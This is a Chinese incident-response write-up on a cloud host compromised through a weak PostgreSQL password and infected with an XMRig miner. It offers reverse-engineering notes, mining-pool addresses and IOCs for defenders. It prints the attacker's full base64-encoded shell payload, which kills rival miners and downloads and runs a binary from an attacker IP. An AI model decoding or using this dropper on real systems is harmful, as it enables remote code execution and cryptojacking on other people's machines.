文章总结： 本文记录云主机因PostgreSQL弱口令被植入XMRig挖矿病毒的排查与应急过程。详细分析了利用数据库漏洞执行命令、清除竞品并下载恶意样本的攻击链，提供了样本逆向分析结果及IOC指标。建议加强口令管理，清理时需终止dockerd守护进程，确认未发生逃逸。 综合评分： 91 文章分类： 应急响应,恶意软件,实战经验,云安全,漏洞分析

---

应急响应 | 云主机中XMRig挖矿病毒的排查与分析

原创

俺不是鸡哥

渗透结束-非常安全

2025年12月23日 15:48 北京

前言

近期监测到云主机告警外链恶意域名，由于该域名在多个威胁情报中标记为未知，除腾讯威胁情报平台外。

因为各家威胁情报的时效不同，俺经常浪费时间在无用的排查上，所以这里俺一直感觉是时效性的问题，但是需要给领导一个结果，抱着怀疑的态度开始排查。

腾讯威胁情报：https://tix.qq.com/

这里列几个常用威胁情报平台的地址：

https://x.threatbook.com/

https://ti.360.cn/

https://www.venuseye.com.cn/

https://ti.dbappsecurity.com.cn/

https://ti.qianxin.com/

https://tix.qq.com/

https://poma.nsfocus.com/

简单排查

由于外链恶意域名是一次并不是持续请求，所以先确定下主机开放的服务，但该主机是多人共同使用，运行的服务很多，只能按个确认排查

最终确认是云主机中docker启动的psql数据库存在弱口令，导致攻击者通过psql获取创建系统函数执行命令，并从攻击者的服务器上下载挖矿脚本进行挖矿

psql执行日志记录：

base64解密：

首先自定义curl函数，然后删除/tmp目录中的docker-daemon文件，杀掉同类挖矿病毒来独占资源进行挖矿，接着从攻击者服务器中下载恶意文件并执行

内容：

ZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgcHJvdG8gc2VydmVyIHBhdGggPDw8IiQocHJpbnRmICclcycgIiQxIiB8IHNlZCAncyM6Ly8jICM7cyMvIyAjJykiCiAgRE9DPSIvJHBhdGgiCiAgSE9TVD0iJHtzZXJ2ZXIlJToqfSIKICBQT1JUPSIke3NlcnZlciMjKjp9IgogIFsgIiRIT1NUIiA9ICIkUE9SVCIgXSAmJiBQT1JUPTgwCiAgZXhlYyAzPD4vZGV2L3RjcC8kSE9TVC8kUE9SVAogIHByaW50ZiAiR0VUICVzIEhUVFAvMS4xXHJcbkhvc3Q6ICVzXHJcbkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iICIkRE9DIiAiJEhPU1QiID4mMwogIHdoaWxlIElGUz0gcmVhZCAtciBsaW5lIDwmMzsgZG8KICAgIGxpbmU9JHtsaW5lJSQnXHInfQogICAgWyAteiAiJGxpbmUiIF0gJiYgYnJlYWsKICBkb25lCiAgY2F0IDwmMwogIGV4ZWMgMz4mLQp9CnJtIC1yZiAvdG1wL2RvY2tlci1kYWVtb24KZm9yIHAgaW4gL3Byb2MvWzAtOV0qOyBkbyBwaWQ9JHtwIyMqL307IGV4ZT0kKGxzIC1sIC9wcm9jLyRwaWQvZXhlIDI+L2Rldi9udWxsKTsgY2FzZSAiJGV4ZSIgaW4gKiJkb2NrZXJkIiopIGV4aXQgOzsgZXNhYzsgZG9uZQpraWxsIC05ICQocGdyZXAga2RldnRtcGZzaSkgJChwZ3JlcCBwcHBzc3NkbSkgJChwZ3JlcCBjZjk0YzhmZDIpICQocGdyZXAga2VybmVsZHgpICQocGdyZXAgcGdfbWVtKSAkKHBncmVwIGt3b3JrZXIpICQocGdyZXAgcG9zdGdyZXMtc3lzdGVtKSAkKHBncmVwIGN1cmwpICQocGdyZXAgcG9zdGdyZXNfZG0pICQocGdyZXAgcnVtcG9zdGdyZXN3aykgJChwZ3JlcCBrdGhyZWFkZGspICQocGdyZXAgbWVtb3J5KSAkKHBncmVwIGtpbnNpbmcpICQocGdyZXAgd2dldCkgJChwZ3JlcCBwb3N0Z3Jlcy1rZXJuZWwpIDI+JjEKZm9yIHBpZCBpbiAvcHJvYy9bMC05XSo7IGRvIHBpZD0ke3BpZCMjKi99OyByZXN1bHQ9JChscyAtbCAvcHJvYy8kcGlkL2V4ZSk7IGNhc2UgJHJlc3VsdCBpbiAqIihkZWxldGVkKSIqfCoicmVkaXNlcnZlciIqfCoiZGFzaCIqfCoia2luc2luZyIqfCoia2RldnRtcGZzaSIqKSBraWxsIC05ICRwaWQgOzsgZXNhYzsgZG9uZQpfX2N1cmwgaHR0cDovLzE5NS4yNC4yMzcuNzMvYm90ID4gL3RtcC9ib3QgJiYgY2htb2QgK3ggL3RtcC9ib3QgJiYgL3RtcC9ib3Q7

当时威胁情报查询：

简单分析

文件名称：bot

打包工具：upx

哈希值：

f5a7fd53488638cd3c36f39bdb6b9b35dc6df14ad837dd30eb87b95262feb2f5

下载upx解压打包的文件

https://github.com/upx/upx/releases/tag/v5.0.2

将解压的bot程序重命名为bot_upxd

文件名称：bot_upxd

编程语言：C

哈希值：

85fb4996fd46b91bda84aae63acad45d0d5784782d09fbf5141aeb426a2ca5c6

ida启动，查看一下字符串内容，可以看到这里是门罗币（XMRig）挖矿软件的帮助说明

后续在本地虚拟机中执行bot程序，可以看到会修改名称为dockerd并且同目录中会出现名为docker-daemon的程序，查看进程如下：

文件名称：docker-daemon

哈希值：

354786bac66720ed2a5e471673a381ad127bfa0503b3ec8146df2f49dd8a24ef

手动执行获取两个矿池的地址

矿池1：dockerdupdate.anondns.net:44999

矿池2：dockerdupdate.anondns.net:4433

通过kill掉docker-daemon进程后，会再次启动得知dockerd进程为docker-daemon的守护进程，在应急时可先kill掉dockerd进程

拖到ida中查看字符串

或者利用strings查看

strings docker-daemon | grep -A 30 -B 60 -i "dockerdupdate\|anondns\|44999\|4433"

其中sub_40BAA0为程序入口

跟进后

sub_454560方法用于命令参数检查

sub_4545F0方法用于跟进输入的不同参数，来执行特定的功能

跟进sub_4545F0方法后得知sub_A5CBC0方法用于格式化输出

-V时会输出版本信息

-h时输出帮助信息

–export-topology时则会获取硬件信息到topology.xml文件中，其中sub_854800方法用于获取信息

sub_854800方法：

执行docker-daemon程序来验证下是否符合

-h用于查看帮助菜单，简单解析下这些参数的作用：

-o为挖矿服务器的URL

-a为挖矿算法和币种

-u为挖矿服务器的账号

-p为挖矿服务器的密码

-x为通过代理

-k为发送存活测试

等等

-V用于查看版本

–export-topology用于导出硬件拓扑结构

攻击者未逃逸到宿主机，于是后续清理完下班打游戏

IOC

195.24.237.73

dockerdupdate.anondns.net

194.41.112.90

354786bac66720ed2a5e471673a381ad127bfa0503b3ec8146df2f49dd8a24ef

85fb4996fd46b91bda84aae63acad45d0d5784782d09fbf5141aeb426a2ca5c6

---

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：渗透结束-非常安全 俺不是鸡哥《应急响应 | 云主机中XMRig挖矿病毒的排查与分析》